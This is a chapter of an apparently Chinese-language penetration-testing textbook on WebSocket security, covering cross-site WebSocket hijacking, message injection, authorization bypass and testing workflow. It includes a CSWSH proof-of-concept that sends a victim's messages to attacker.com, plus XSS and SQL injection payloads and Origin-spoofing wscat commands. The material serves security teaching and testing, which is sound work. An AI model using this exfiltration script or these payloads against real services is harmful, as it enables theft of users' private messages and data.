第 66 章 WebSocket 安全(实时通信攻击)
现代应用大量使用 WebSocket(实时聊天/交易/协作/游戏)。它绕过传统 HTTP 安全模型的"同源"概念,带来独特的攻击面:跨站 WebSocket 劫持(CSWSH)、消息注入、子协议滥用、认证缺失。本章覆盖 WebSocket 协议理解、攻击技术与测试方法。
📍 知识点地图 | 主题:WebSocket安全 | 前置:第58章 | 后续:— | 核心概念:CSWSH、消息注入、越权、子协议
66.1 WebSocket 协议基础(先懂机制)
为什么存在: HTTP 是"请求-响应",实时场景需要"服务器主动推" → WebSocket
握手(升级):
GET /ws HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <随机>
Sec-WebSocket-Version: 13
Origin: https://app.com ← 安全关键字段!
→ 服务端返回 101 Switching Protocols
之后: 全双工消息帧(ws:// / wss://)
与 HTTP 的安全差异:
□ 无"同源策略"概念(服务端必须自己验证 Origin)
□ 连接建立后是长连接(认证在握手时决定一切)
□ 消息是自定义格式(JSON/二进制/子协议)
66.2 WebSocket 攻击面地图
┌─────────────────────────────────────────────┐
│ 握手阶段 │
│ ├─ Origin 校验缺失 → CSWSH(跨站劫持) │
│ ├─ 认证缺失 → 匿名连接 │
│ ├─ 会话绑定错误 → 越权连接 │
│ └─ 子协议协商问题 → 协议混淆 │
├─────────────────────────────────────────────┤
│ 消息阶段 │
│ ├─ 消息注入(XSS/SQLi/命令注入 in WS 消息) │
│ ├─ 越权操作(改他人数据/执行管理操作) │
│ ├─ 消息重放 / 篡改(交易类高风险) │
│ ├─ DoS(大量消息/超大消息) │
│ └─ 隐私泄露(订阅了不该订阅的频道) │
└─────────────────────────────────────────────┘
66.3 跨站 WebSocket 劫持(CSWSH,最经典)
原理
WebSocket 握手用 Cookie 认证(和 HTTP 一样自动携带)
如果服务端不校验 Origin 头 → 任何网站都能发起"已认证的" WS 连接
攻击流程:
1. 受害者已登录 target.com(有 Cookie)
2. 受害者访问攻击者的恶意页面
3. 恶意页面 JS 发起: new WebSocket("wss://target.com/ws")
4. 浏览器自动带 Cookie → 服务端认为是受害者本人 → 建立连接
5. 攻击者通过这个连接读写受害者的数据(窃取消息/执行操作)
检测
建立 WS 连接时改 Origin 为任意域名:
服务端接受(不校验)→ 存在 CSWSH
服务端拒绝(校验 Origin 白名单)→ 安全
利用 PoC
<!-- 攻击者页面: CSWSH PoC -->
<script>
var ws = new WebSocket("wss://target.com/chat");
ws.onopen = function() {
// 读取受害者的消息
ws.send('{"action":"get_messages"}');
};
ws.onmessage = function(e) {
// 外带到攻击者服务器
new Image().src = "https://attacker.com/steal?d=" + encodeURIComponent(e.data);
};
</script>
高危场景
□ 聊天/消息应用: 窃取私人对话
□ 交易/支付: 窃取交易数据/发起转账
□ 实时协作: 窃取文档内容
□ 监控/仪表盘: 窃取敏感状态
□ 管理面板: 执行管理操作
66.4 消息层攻击(连接建立之后)
1. 消息注入(WS 是传输层,内容照样注入)
WS 消息内容如果是 JSON/文本,同样测:
□ XSS(消息渲染在 DOM): <img src=x onerror=...>
□ SQL 注入(消息入库): ' OR 1=1--
□ 命令注入(消息驱动后端操作)
□ 模板注入(消息进模板渲染)
测试思路: 和 HTTP 参数一样,只是载体变成了 WS 消息
2. 越权操作(WS 的授权缺失)
问题: WS 连接建立后,服务端常"信任连接身份"而忽略消息里的操作授权
→ 连接内执行未授权操作(同 GraphQL 字段级越权问题)
测试:
□ 改消息里的 ID/角色/操作类型
□ 尝试管理操作("role":"admin"/"action":"delete_all")
□ 跨用户: 消息带别人的 ID → 数据泄露
3. 消息重放与篡改
□ 重放: 同一消息发两次 → 重复执行(交易/操作类)
□ 篡改: 改金额/数量/接收方(交易场景)
□ 竞态: 同时发多条竞争操作(第 69 章竞态深度)
4. 未认证连接
直接连 wss://target.com/ws 不发任何认证 → 看服务端是否拒绝
(很多 WS 服务"能连上就不管你是谁")
66.5 子协议与握手细节攻击
□ 子协议(subprotocol)混淆: 客户端声明支持的协议 → 服务端选择
攻击者声明一个特权子协议 → 服务端可能按特权处理
new WebSocket(url, ["admin_protocol"])
□ 心跳/控制帧滥用: 超大 ping、错误帧 → DoS
□ 代理配置漏洞: WS 升级请求被中间层误处理(请求走私的 WS 变体)
66.6 测试工具与流程
# 工具
# 1. Burp Suite: Proxy 拦截 WS 消息(Repeater 可重放)
# 注意: Burp 默认拦截 HTTP,WS 消息要开"WebSocket history"
# 2. wscat(命令行测试):
wscat -c wss://target.com/ws
wscat -c wss://target.com/ws -H "Origin: https://evil.com" # Origin 测试
# 3. 浏览器 DevTools: Network → WS 面板(直接发消息)
# 4. 自写脚本: Python websockets 库自动化测试
完整测试流程
1. 发现 WS 端点: 前端 JS 找 new WebSocket("wss://...")(第 13 章)
2. 观察握手: 认证方式(Cookie/Header/子协议)
3. Origin 校验测试(CSWSH 检测)
4. 匿名连接测试(不认证直接连)
5. 消息结构理解(发/收正常消息 → 理解协议)
6. 消息注入: XSS/SQLi/命令(按内容类型)
7. 越权: 改 ID/角色/操作类型
8. 重放/篡改/竞态
9. 记录: 端点+握手+消息样例+漏洞证据
66.7 检查清单
□ WS 端点发现(前端 JS)
□ 握手认证方式理解
□ Origin 校验测试(CSWSH)
□ 匿名/弱认证连接
□ 消息注入(XSS/SQLi/命令)
□ 越权操作(ID/角色/管理操作)
□ 消息重放/篡改
□ 子协议滥用
□ DoS(消息洪泛/超大帧)
□ 报告: 完整消息样例可复现
动手练习
- 在本地搭一个 WS 聊天应用(或找练习靶场),用 wscat 完成握手和消息收发。
- 构造 CSWSH PoC 页面,在"未校验 Origin"的练习服务上验证窃取消息。
- 用 Burp 拦截并重放 WS 消息,尝试修改消息里的用户 ID 做越权测试。
- 在前端 JS 里找出一个应用的 WebSocket 端点(第 13 章方法),记录它的消息格式。
深入阅读
- 仓库:
CTF-Sandbox-Orchestrator/competition-websocket-runtime/(WebSocket CTF 子技能) - 仓库:
skills/api-security/SKILL.md(API 安全方法论) - 仓库:
skills/js-reverse/(前端 JS 找 WS 端点) - 仓库:
skills/pentest-tools/references/web-attack-cheatsheet.md(注入类配合)